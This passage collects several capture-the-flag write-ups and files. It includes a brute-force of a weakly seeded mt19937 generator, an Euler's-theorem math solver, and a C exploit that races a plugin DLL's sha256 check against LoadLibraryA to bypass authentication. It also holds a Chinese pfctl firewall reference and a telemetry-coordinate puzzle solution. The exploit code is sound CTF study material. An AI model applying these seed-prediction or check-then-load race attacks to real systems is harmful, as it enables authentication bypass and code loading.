fatal_error("Reading flag failed, contact admin"); cout << flag << endl; } ``` This line may look strong: ``` RandStream() : rd(), gen(rd()) {} ``` But in fact it's completely broken (mt is seeded with only 32bits of entropy). So it's enough to bruteforce the seed to get the flag. According to organisers we were supposed to "cache" something to be "fast". Well, we're more lazy than that, so we just guessed randomly until we did it. With tiny complication, beacuse of 5 second timeout, code looked like this: ```python def stuff(): s = socket.socket() s.connect(('random.hackable.software', 1337)) data = s.recv(9999) sample = data.split('\n')[2] out = Command(['./a.out', sample, '0']).run(timeout=5) # class stolen from stackoverflow if out: print '---' print out print '---' s.send(out + '\n') print s.recv(9999) def main(): while True: if stuff(): break ``` And `a.out` was compiled version of minimally modified given program: ```cpp class RandStream { //std::random_device rd; std::mt19937 gen; public: RandStream(int i) : gen(i) {} unsigned int NextUInt() { return gen(); } }; int main(int argc, char *argv[]) { unsigned int sought = std::strtoul(argv[1], NULL, 16); unsigned int start = std::strtoul(argv[2], NULL, 16); for (unsigned int i = start; i < 0xFFFFFFFE; i++) { RandStream rand(i); if (rand.NextUInt() != sought) { continue; } for (int i = 0; i < 5; i++) { rand.NextUInt(); } for (int i = 0; i < 5; i++) { cout << std::hex << rand.NextUInt() << ' '; } return 0; } } ``` Just good, plain, old brute force.
sec-knowleage
# Misc 04 (misc, 140p, 36 solved) In the task we get access to an application: ``` Wellcom to Friendly face challenge According to experts, the formula for measuring the friendliness of a face is (lip point**nose point)**(eyes point**forehead point) mod Face_index Now play! ------------------------------Stage 1-------------------------------------- Face_index: 9928546 Face Lip point Nose point Eyes point Forehead point :-) 568824892 457742011 941012180 253144504 (';') 23952035 628931911 972045092 777026341 (=^..^=) 686029537 64319452 611190375 112129192 :) 617374078 81959857 20649197 24703650 :-] 280039606 627778866 988980689 684158291 :] 60783119 594342583 347303300 539141757 :-3 321261378 928676123 34262697 822086619 :3 321223152 802095261 306245331 746806683 :-> 267149366 274650373 453784293 155962876 :> 147037766 878265535 332179064 544535138 :-* 282364953 414082899 798987403 764105746 :* 583265502 889346653 407539632 137243339 (>_<) 133984875 66646715 716020719 488324317 (>_<)> 727687008 366192925 114776444 54859934 (';') 437962554 268054657 936090419 377085453 (^_^;) 964356686 583217140 860994507 930144447 (-_-;) 574103967 483119825 355139943 678768494 (~_~;) 389800758 803218695 435535853 239965696 (...;) 359662407 610432925 642837810 772797892 (._.;) 509720900 307969711 80913034 958275474 ^_^; 859083357 536473752 783709719 414574837 (#^.^#) 557456218 753671213 649539972 266160251 (^^;) 140043688 782606707 915951984 913136529 (-_-)zzz 866318536 905466702 220292777 185393572 (^_-) 445063898 96616021 982269754 18154 ((+_+)) 792421359 230028929 670678620 542664022 (+o+) 902780243 773999795 696449166 573196057 ^_^ 482459943 486150568 797684171 883635208 (^_^)/ 194918846 505240052 344925190 628519414 (=_=) 204409002 470486904 847693668 200782527 (?_?) 641072342 281225817 293240755 321003907 (^_^) 324078528 889045681 483983051 103283684 (~o~) 57590473 618155926 389926985 4295912 (~_~) 480720695 535339640 709805607 130080855 o.O 88139622 584724341 528917361 868022901 (o.o) 31773824 321278395 230937564 139287394 oO 929305518 457021266 885282508 821646046 <_< 483063468 713769808 6404138 983646898 >_> 86259272 495387210 523761674 655522004 <o?o> 352569223 806985052 405453886 96888458 (>^.^) 13446885 781237903 842345802 967302054 (^.^<) 155704256 872607202 492051377 40621810 >,< 589494855 375474890 12910056 55721531 ;-( 445793591 485056031 42055133 264070003 >:-( 273791760 575559835 149683227 202477348 @(-_-)@ 385413303 476361140 733303627 988872984 @(^_^)@ 162219164 322345611 136067195 835475504 ~O-O~ 871128442 534455323 132275419 372845099 :)] 789516425 636339074 530573592 89693503 .-] 720189903 767600763 32801237 62540911 .-) 526402082 503564697 735408367 406646597 ,-) 284230473 377456495 171934951 584351302 ':-( 934728851 411860493 740283917 152086679 '-) 296992354 721230115 853558354 582693347 :-D 611619258 364242222 775590048 18022636 :=) 149406960 655734808 401841140 420418918 :@ 524904631 323701516 445590058 166023135 <:-P 90295722 328295842 900424357 455755334 :)>- 860279369 879340025 531178009 275273365 :^) 998244997 568869594 564026954 915507847 3:] 627467503 261246151 519795303 424916420 (o^-^o) 127803732 820062459 77131195 633921273 :-< 503659779 716296684 790584903 993366886 :-[ 596497706 233554771 660617582 380800144 =:-) 330896284 451246310 901770941 803795916 :-)) 722082675 530353406 720006166 914873545 <(-_-)> 436096951 167519805 895912006 597810060 9_9 182635947 968356305 365764220 374100297 =)) 357705508 909193878 176866598 126632317 7:) 52189358 812712480 882190330 90405608 (<_>) 992091929 126117984 520145161 784652516 :-( 958493227 371815292 156487035 318488198 /:-) 798055879 768101151 854110711 293863015 (-_-) 247572818 96884158 225496762 524371879 :-* 476938541 184608385 859713180 38362037 ::=)) 217212770 475918153 8001010 52368247 o_o 960321847 777557966 370232776 603559555 (*^_^*) 164917508 497580071 304718977 778749984 (-::-) 135600425 591552662 411230811 844033074 (^o^) 114043599 267851809 764197233 729657426 :o) 77033635 724309071 532256499 650125580 :|) 92133304 673460316 661186700 844697945 :) 341143663 291599585 224605429 514213089 :-) 616261301 602862592 150890219 603786555 +:-) 413093363 228415667 18326665 17079145 (:-) 584187072 634395735 223113532 45382578 {:-) 343750287 1908872 702997957 311091423 ^&^ 529079589 574938394 233399359 117832407 =.= 577014898 409511688 354573727 22364817 *~* 196610398 165376804 497915681 485447329 (:>-< 804706985 474755647 535797022 259962366 :-)--- 860526346 688746022 263287692 724472915 *-) 221928355 887834546 690209569 140649690 >:* 707429706 361667628 890981899 628576789 >.< 478256657 679452160 427569933 398252856 :-@ 842685569 29408161 399813077 195286593 (:)-) 113217668 630504653 722567738 220013519 ::-) 628424516 717349638 437425785 947963941 :-@ 200636705 54273079 500779926 631110356 @,.,@ 825607979 674708189 134882532 860611414 :-E 817325600 356562506 392950183 347761068 :-[ 390102746 649147663 973292798 37327144 :-)) 915390296 615745566 588286121 438513696 :-[] 350818957 706941720 99500462 444421129 :-))) 624037961 151807502 848569245 7192210 (:- 406777048 375986160 967616861 522557149 $_$ 153721779 510099055 549303633 537910630 (^:^) 382883033 599595304 18464969 317011415 |___| 450066663 771458013 361548329 929201245 :-) 988605304 120169270 719780182 198013944 >O< 62694268 154947217 61736412 370202519 :=) 139611307 27068908 347349262 802145594 -:-) 711270769 958899932 320121022 25695782 |:-) 902903753 847237435 370638588 515861385 <(^.^<) 36414441 29167376 972164958 643757408 <(*.*<) 44726993 507681673 93259730 375999094 (*_*) 660115130 36934065 950811076 706589789 ._. 656708457 60027297 874367948 436077729 @:-) 904147006 657729620 590037586 614605662 <('.')> 22338651 744151297 421884827 680423420 <('.'<) 915666254 755172274 357152642 71468540 <(^.^)> 761583139 274093669 579566114 968424306 <('.'<) 1846023 999575088 416255614 542189089 :-* 61411542 934130467 317698883 862889327 (:-* 538367672 206718285 784199878 929721277 =^.^= 38191813 444179562 50803550 607621511 <{::}> 762261539 665199139 29749796 589314027 :-D 813417897 516749674 198678296 492384881 :)) 692507260 933243641 910076492 177113479 :.-) 706350257 208220064 561827765 973675855 (-: 460728977 389190842 848053504 746993263 >;-> 2871890 469626441 251807800 158741716 :^o 861438792 24236048 616330095 273007266 :-9 959789499 631364945 414035584 939194517 So, what is the most friendly face? ``` It's quite clear what we need to do: calculate `(lip point**nose point)**(eyes point**forehead point) mod Face_index` for each of the emojis and then send back to the server the one with highest score. First optimization we can do is trivial, and comes directly from modular arithmetics: `(a**b) mod n = ((a mod n)**b) mod n` And of course `pow(a,b,n)` is much faster than `a**b` to calculate. The real struggle is the second part - how to optimize calculation of `b`. After a while we came up with an idea, that if certain conditions were met, we could actually use Euler theorem here. Euler theorem says that if `a` and `n` are `co-prime` then `a**phi(n) mod n = 1`. This is useful, because `1**x` is always 1. This would mean, that we could simplify our `b` to `b mod phi(n)`. For example we want to calculate `7**222 mod 10`: 1. `phi(10) = (2-1)*(5-1) = 4` 2. `7**222 mod 10 = 7**(4*55) * 7**2 mod 10 = (7**4 mod 10)**55 * 7**2 mod 10 = 1**55 * 7**2 mod 10 = 7**2 mod 10` 3. We could also simply notice that `222 mod 4 = 2` and thus `7**222 mod 10 = 7**2 mod 10` We can apply the same logic here, and re-write the equation: ``` (lip point**nose point) = a (eyes point**forehead point) = b Face_index = n (lip point**nose point)**(eyes point**forehead point) mod Face_index = a**b mod n a**b mod n = (a mod n)**b mod n a**b mod n = a**(b mod phi(n)) mod n a**b mod n = (a mod n)**(b mod phi(n)) mod n = pow(a%n, b%phi(n), n) a**b mod n = pow(pow(lip point, nose point, Face_index), pow(eyes point, forehead point, phi(Face_index)), mod Face_index)` ``` Keep in mind, this is all true only if `a` and `n` are `co-prime`, but we simply assumned they would be. Solver written in python is: ```python import re from crypto_commons.generic import factor from crypto_commons.netcat.netcat_commons import nc, receive_until_match, send from crypto_commons.rsa.rsa_commons import get_fi_repeated_prime def main(): s = nc("misc04.grandprix.whitehatvn.com", 1337) while True: data = receive_until_match(s, "So, what is the most friendly face\?", 5.0) print(data) modulus = int(re.findall("Face_index: (\d+)", data)[0]) primes = factor(modulus)[0] phi = 1 for prime in set(primes): k = primes.count(prime) phi *= get_fi_repeated_prime(prime, k) max = (0, "") for dataset in re.findall("(.*?)\s+(\d+)\s+(\d+)\s+(\d+)\s+(\d+)", data): face, lip, nose, eye, fore = dataset a = pow(int(lip), int(nose), modulus) b = pow(int(eye), int(fore), phi) result = pow(a, b, modulus) if result > max[0]: max = (result, face) print("sending", max) send(s, max[1]) send(s, str(max[0])) pass main() ``` Which gives us: `WhiteHat{^.^_M4th_Math_Chin3se_Rema1nder_The0rem_&_Euler's_ThEorem_M@th_MAth_^/^}`
sec-knowleage
#include <stdio.h> #include <stdlib.h> #include <windows.h> #include "zygote.h" void __RPC_FAR * __RPC_USER midl_user_allocate(size_t size) { return malloc(size); } void __RPC_API midl_user_free(void __RPC_FAR * memory) { free(memory); } void __wine_rtl_unwind() { printf("__wine_rtl_unwind()\n"); ExitProcess(1); } VOID read_file(LPCSTR path, LPVOID *data, LPDWORD data_size) { HANDLE handle = CreateFileA( path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); printf("CreateFileA(\"%s\", ...): %p\n", path, handle); DWORD file_size = GetFileSize(handle, NULL); printf("GetFileSize(%p, NULL): %ld\n", handle, file_size); LPVOID buffer = malloc(file_size); DWORD bytes_read = 0; BOOL status = ReadFile(handle, buffer, file_size, &bytes_read, NULL); printf("ReadFile(%p, ...): %d; bytes_read = %ld\n", handle, status, bytes_read); CloseHandle(handle); *data = buffer; *data_size = bytes_read; } VOID worker_write_dword(HANDLE handle, DWORD value) { DWORD write_size = 0; BOOL status = WriteFile(handle, &value, sizeof(value), &write_size, NULL); printf("WriteFile(%p, ...): %d; write_size = %ld\n", handle, status, write_size); } VOID worker_read_dword(HANDLE handle, LPDWORD value) { DWORD buffer = -1; DWORD bytes_read = 0; BOOL status = ReadFile(handle, &buffer, sizeof(buffer), &bytes_read, NULL); printf("ReadFile(%p, ...): %d; bytes_read = %ld\n", handle, status, bytes_read); *value = buffer; } VOID worker_write_string(HANDLE handle, LPVOID value, DWORD size) { worker_write_dword(handle, size); DWORD write_size = 0; BOOL status = WriteFile(handle, value, size, &write_size, NULL); printf("WriteFile(%p, ...): %d; write_size = %ld\n", handle, status, write_size); } VOID worker_read_string(HANDLE handle, LPVOID *data, LPDWORD data_size) { DWORD buffer_size = 0; worker_read_dword(handle, &buffer_size); LPVOID buffer = malloc(buffer_size); DWORD bytes_read = 0; BOOL status = ReadFile(handle, buffer, buffer_size, &bytes_read, NULL); printf("ReadFile(%p, ...): %d; bytes_read = %ld\n", handle, status, bytes_read); *data = buffer; *data_size = bytes_read; } int main(int argc, char *argv[]) { BOOL status; // Read pre-existing `fail_plugin.dll" LPVOID fail_plugin = NULL; DWORD fail_plugin_size = 0; read_file("C:\\ctf\\auth_plugins\\fail_plugin.dll", &fail_plugin, &fail_plugin_size); // Temporary (writable) path char temporary_suffix[MAX_PATH]; snprintf( temporary_suffix, sizeof(temporary_suffix), "\\Users\\realworld\\AppData\\Local\\Temp\\Low\\p4_%04lx.dll", GetProcessId(GetCurrentProcess()) ); char absolute_temporary_path[MAX_PATH]; snprintf(absolute_temporary_path, sizeof(absolute_temporary_path), "C:%s", temporary_suffix); char relative_temporary_path[MAX_PATH]; snprintf(relative_temporary_path, sizeof(relative_temporary_path), "..\\..%s", temporary_suffix); // Step 1: Spawn `worker` by calling `server.exe` API exposed via Microsoft RPC static unsigned char ncalrpc[] = "ncalrpc"; static unsigned char zygote_endpoint[] = "ZygoteEndpoint"; unsigned char *string_binding = NULL; status = RpcStringBindingCompose( NULL, ncalrpc, NULL, zygote_endpoint, NULL, &string_binding); printf("RpcStringBindingCompose(NULL, \"%s\", NULL, \"%s\", NULL, ...): %d\n", ncalrpc, zygote_endpoint, status); status = RpcBindingFromStringBinding( string_binding, &zygote_binding); printf("RpcBindingFromStringBinding(...): %d\n", status); PCONTEXT_HANDLE_TYPE context_handle = INVALID_HANDLE_VALUE; RemoteOpen(&context_handle); printf("RemoteOpen(...); context_handle = %p\n", context_handle); hyper worker_write_handle = -1LL; hyper worker_read_handle = -1LL; Spawn(context_handle, &worker_write_handle, &worker_read_handle); printf("Spawn(%p, ...); worker_write_handle = %I64x, worker_read_handle = %I64x\n", context_handle, worker_write_handle, worker_read_handle); for(int attempt = 0; attempt != 100; ++ attempt) { // Step 2: Copy pre-existing `fail_plugin.dll` to a temporary (writable) file HANDLE temporary_handle = CreateFileA( absolute_temporary_path, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL ); printf("CreateFileA(\"%s\", ...): %p\n", absolute_temporary_path, temporary_handle); DWORD write_size = 0; status = WriteFile(temporary_handle, fail_plugin, fail_plugin_size, &write_size, NULL); printf("WriteFile(%p, ...): %d; write_size = %ld\n", temporary_handle, status, write_size); CloseHandle(temporary_handle); // Step 3: Send `auth::PluginBasedAuth` request over `worker` pipe using the temporary file as plugin worker_write_dword((HANDLE) worker_write_handle, 2); worker_write_string((HANDLE) worker_write_handle, relative_temporary_path, strlen(relative_temporary_path)); // Step 4: Attempt to modify the temporary file between `sha256` validation and `LoadLibraryA` by exploiting `worker` race-condition on plugin loading temporary_handle = CreateFileA( absolute_temporary_path, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); printf("CreateFileA(\"%s\", ...): %p\n", absolute_temporary_path, temporary_handle); DWORD file_pointer = SetFilePointer(temporary_handle, 0x0458, NULL, FILE_BEGIN); printf("SetFilePointer(%p, 0x0458, NULL, FILE_BEGIN): %04lx\n", temporary_handle, file_pointer); char patch[] = { 0xeb, 0x07 }; status = WriteFile(temporary_handle, patch, sizeof(patch), &write_size, NULL); printf("WriteFile(%p, ...): %d; write_size = %ld\n", temporary_handle, status, write_size); CloseHandle(temporary_handle); // Step 5: Receive `auth` response over `worker` pipe LPVOID auth_response = NULL; DWORD auth_response_size = 0; worker_read_string((HANDLE) worker_read_handle, &auth_response, &auth_response_size); printf("auth_response = "); fwrite(auth_response, 1, auth_response_size, stdout); printf("\n"); free(auth_response); } ExitProcess(0); }
sec-knowleage
pfctl === PF防火墙的配置命令 ## 补充说明 **pfctl命令** 是PF防火墙的配置命令,PF防火墙( 全称:Packet Filter )是UNIX LIKE系统上进行TCP/ip流量过滤和网络地址转换的软件系统。PF同样也能提供TCP/IP流量的整形和控制,并且提供带宽控制和数据包优先集控制。PF最早是由Daniel Hartmeier开发的,现在的开发和维护由Daniel和openBSD小组的其他成员负责。 PF防火墙的功能很多,本站只列举一些基本配置。 ### 激活 要激活pf并且使它在启动时调用配置文件,编辑`/etc/rc.conf`文件,修改配置pf的一行: ```shell pf=yes ``` 重启操作系统让配置生效。 也可以通过pfctl程序启动和停止pf: ```shell pfctl -e pfctl -d ``` 注意这仅仅是启动和关闭PF,实际它不会载入规则集,规则集要么在系统启动时载入,要在PF启动后通过命令单独载入。 ### 配置 系统引导到在rc脚本文件运行PF时PF从`/etc/pf.conf`文件载入配置规则。注意当`/etc/pf.conf`文件是默认配置文件,在系统调用rc脚本文件时,它仅仅是作为文本文件由pfctl装入并解释和插入pf的。对于一些应用来说,其他的规则集可以在系统引导后由其他文件载入。对于一些设计的非常好的unix程序,PF提供了足够的灵活性。 **pf.conf文件有7个部分:** 1. 宏:用户定义的变量,包括IP地址,接口名称等等。 2. 表:一种用来保存IP地址列表的结构。 3. 选项:控制PF如何工作的变量。 4. 整形:重新处理数据包,进行正常化和碎片整理。 5. 排队:提供带宽控制和数据包优先级控制。 6. 转换:控制网络地址转换和数据包重定向。 7. 过滤规则:在数据包通过接口时允许进行选择性的过滤和阻止。 除去宏和表,其他的段在配置文件中也应该按照这个顺序出现,尽管对于一些特定的应用并不是所有的段都是必须的。 空行会被忽略,以#开头的行被认为是注释。 ### 控制 引导之后,PF可以通过pfctl程序进行操作,以下是一些例子: ```shell pfctl -f /etc/pf.conf # 载入 pf.conf 文件 pfctl -nf /etc/pf.conf # 解析文件,但不载入 pfctl -Nf /etc/pf.conf # 只载入文件中的NAT规则 pfctl -Rf /etc/pf.conf # 只载入文件中的过滤规则 pfctl -sn # 显示当前的NAT规则 pfctl -sr # 显示当前的过滤规则 pfctl -ss # 显示当前的状态表 pfctl -si # 显示过滤状态和计数 pfctl -sa # 显示任何可显示的 ``` 完整的命令列表,请参阅pfctl的man手册页。
sec-knowleage
# Indiana Jones and the Coded Cave Category: Miscellaneous ## Description > Indiana Jones is conducting his postdoctoral research at the Technion Institute. > > Yesterday, on his way back home he bumped into a strange person who had given him a Disk On Key. > > This person said to him - "The treasure is in the cave" - and vanished. > > Your mission, as Dr. Jones assistants, is to help him find the treasure. > > * Use Autonomos_Treasure_Hunder_ICD.docx and ATH_Tele.bin to solve this challenge > * Use Open Street View maps (not Google maps) > * The flag structure is cstechnion{Name_Of_The_Cave}, where Name_Of_The_Cave is the translation to English of the Hebrew name as written in Open Street View maps (for translation use google translate) A `*.docx` and a binary file were attached. ### Specs The document attached was an "ICD Specification" between an "Autonomous Treasure Hunter" system and a host. According to the specs, the ATH is an unmanned platform which searches for treasures. The specs included many redacted specifications, we'll just include what's needed to solve the challenge: #### 3.2.2.1.2. Message Structure The message structure is defined in the following table and paragraphs: | Field | Value (Hex) | Byte Number | # of bytes | |-------|---------------|---------------|------------| | Sync | 0xDD | 0 | 1 | |Identifier | 0x1/0xXX/0xXX/0xXX | 1 | 1 | | Data | 2-9 | 8 | | Checksum | See 3.2.3.1.2.3 | 10-11 | 2 | | Total # Of Bytes | | | 12| ##### 3.2.2.1.2.1. Synchronization Word The beginning of each message starts with a 1 byte synchronization word identified as follows: * 0xDD when the message is transmitted from the ATH to the Host. * 0xEE when the message is transmitted from the Host to the ATH. ##### 3.2.2.1.2.2. Identifier The Identifier field is the sent message identifier. ##### 3.2.2.1.2.3. Checksum Checksum algorithm shall be Fletcher-16. The checksum is calculated Both the ATH and Host shall ignore any message with a bad checksum. The checksum is computed over the entire message, excluding the Checksum field itself ##### 3.2.2.1.2.4. Endianess Endianess is Least Significant Byte First as described in the following figure: #### 3.2.2.3. Messages Specification | Short | Type | Size (Bytes) | Comment Min/Max Resolution | | --- | --- | --- | --- | | U1 | Unsigned Char | 1 | 0..255 1 | | I4 | Signed Long | 4 | 2's complement | -2'147'483'648..2'147'483'647 | 1 | ##### 3.2.2.3.1. ATH_HST_01: COORDINATE_TELE | Byte | Name | Data Type | Value/ Units | Scaling | Description | | --- | --- | --- | --- | --- | --- | | 0 | Synchronization word |U1 |- |-| 0xDD | |1| Message ID| U1| - |- |0x01| |2-5 |Longitude | I4 |Deg |1e-5| N.E. (East = “+”) Decimal Degrees = Degrees + minutes/60 + seconds/3600 |6-9| Latitude| I4| Deg |1e-5| N.E (North = “+”) Decimal Degrees = Degrees + minutes/60 + seconds/3600 |10-11 |Checksum| U2| - |-| ## Solution Let's inspect the attached binary: ```console root@kali:/media/sf_CTFs/technion/Indiana_Jones_and_the_Coded_Cave# xxd -g 1 ATH_Tele.bin | head 00000000: 05 03 06 06 00 23 8b 08 02 02 09 04 0f f1 dd 01 .....#.......... 00000010: 73 58 35 00 e2 07 32 00 fb fd dd 08 4a 93 35 00 sX5...2.....J.5. 00000020: e0 ff 32 00 0c 75 dd 01 74 58 35 00 e2 07 32 00 ..2..u..tX5...2. 00000030: fc 06 dd 01 02 7a 36 00 27 0e 33 00 29 71 07 05 .....z6.'.3.)q.. 00000040: 03 00 08 5e 06 dd 09 be af 36 00 d7 1e 33 00 b4 ...^.....6...3.. 00000050: 25 dd 01 75 58 35 00 e2 07 32 00 fd 0e dd 0a 26 %..uX5...2.....& 00000060: 06 36 00 59 75 33 00 4c d1 dd 01 78 58 35 00 e2 .6.Yu3.L...xX5.. 00000070: 07 32 00 01 26 01 02 09 04 06 51 55 dd 07 38 ef .2..&.....QU..8. 00000080: 35 00 f5 90 32 00 fa 68 dd 01 b6 3c 36 00 16 69 5...2..h...<6..i 00000090: 33 00 f8 6b dd 01 5c c3 36 00 6a 56 33 00 79 7d 3..k..\.6.jV3.y} ``` We can see that it includes several locations which start with a `0xdd 0x01`, indicating a coordinate of type `COORDINATE_TELE` according to the specs. Other types were redacted in the document, so it's safe to assume that we need to concentrate on the coordinates. We can parse the attached binary using the following code, which also queries an Open Street View API for coordinate details: ```python import os import mmap import re import requests from ctypes import * COORDINATE_TELE_PATTERN = re.compile(rb'\xdd\x01.{4}.{4}.{2}', re.DOTALL) class coordinate_tele(LittleEndianStructure): _pack_ = 1 _fields_ = [ ('sync', c_uint8), ('id', c_uint8), ('_long', c_uint32), ('_lat', c_uint32), ('checksum', c_uint16), ] scaling = 1e-5 @property def longitude(self): return self._long * self.scaling @property def latitude(self): return self._lat * self.scaling def __str__(self): return f"CoordinateRecord({self.latitude:.6f}, {self.longitude:.6f})" def memory_map(filename, access=mmap.ACCESS_READ): size = os.path.getsize(filename) fd = os.open(filename, os.O_RDONLY) return mmap.mmap(fd, size, access=access) def get_coordinate_info(lat, long): r = requests.get(f"https://nominatim.openstreetmap.org/reverse?format=json&lat={lat}&lon={long}&addressdetails=1") return r.json() with memory_map("ATH_Tele.bin") as b: for match in COORDINATE_TELE_PATTERN.findall(b): coordinate = coordinate_tele.from_buffer_copy(match) print(coordinate, end="") try: details = get_coordinate_info(coordinate.latitude, coordinate.longitude) if "error" in details: raise RuntimeError(details["error"]) print(f" {details['display_name']} ({details['address'].get('country')})") except (KeyError, RuntimeError) as e: print (f" Unknown location ({str(e)})") ``` Output: ```console root@kali:/media/sf_CTFs/technion/Indiana_Jones_and_the_Coded_Cave# python3 solve.py CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(33.460, 35.702) قضاء البقاع الغربي, محافظة البقاع, 1704, لبنان (لبنان) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(33.692, 35.545) شواليق - دير القمر, قضاء الشوف, محافظة جبل لبنان, 1503, لبنان (لبنان) CoordinateRecord(33.645, 35.890) حمارة, قضاء البقاع الغربي, محافظة البقاع, لبنان (لبنان) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(33.649, 35.124) Unknown location (Unable to geocode) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.999, 35.674) מחנה צנובר, סער, בתרא, קצרין, נפת רמת הגולן, מחוז הצפון, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.852, 35.246) רחוב גפן, שכניה, נפת עכו, מחוז הצפון, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(33.098, 35.959) مسحرة, ناحية خان ارنبة, منطقة القنيطرة, محافظة القنيطرة, سوريا (سوريا) CoordinateRecord(33.408, 35.520) عرب صاليم, قضاء النبطية, محافظة النبطية, 6728, لبنان (لبنان) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(33.508, 35.392) النواويس, عرنايا, قضاء صيدا, محافظة الجنوب, لبنان (لبنان) CoordinateRecord(33.416, 35.021) لبنان (لبنان) CoordinateRecord(32.849, 34.983) תחנת הכרמל, חיפה אל עתיקה, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(33.039, 35.924) كوم عين الباشا, ناحية الخشنية, منطقة القنيطرة, محافظة القنيطرة, سوريا (سوريا) CoordinateRecord(33.011, 35.271) توفيق الحكيم, بنيم, بني بيتخا, מעלות תרשיחא, נפת עכו, מחוז הצפון, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(33.451, 35.797) عين حرشة, قضاء راشيا, محافظة البقاع, لبنان (لبنان) CoordinateRecord(33.129, 35.250) شيحين, قضاء صور, محافظة الجنوب, لبنان (لبنان) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(33.685, 35.884) دكوة, قضاء البقاع الغربي, محافظة البقاع, لبنان (لبنان) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(33.533, 34.974) Unknown location (Unable to geocode) CoordinateRecord(33.041, 35.302) מערת זוית, 8925, فسوطة, נפת עכו, מחוז הצפון, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.959, 35.777) 122 א, ציר הנפט, מועצה אזורית גולן, נפת רמת הגולן, מחוז הצפון, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(33.261, 35.384) سلعا, قضاء صور, محافظة الجنوب, لبنان (لبنان) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.979, 35.321) פקיעין החדשה, מועצה אזורית מעלה יוסף, נפת עכו, מחוז הצפון, no, ישראל (ישראל) CoordinateRecord(33.168, 35.743) 9799, מועצה אזורית גולן, נפת רמת הגולן, מחוז הצפון, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(33.161, 35.392) حداثا, قضاء بنت جبيل, محافظة النبطية, 1702, لبنان (لبنان) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788, 34.961) Elbit, כביש חיפה רעננה, נאות פרס, 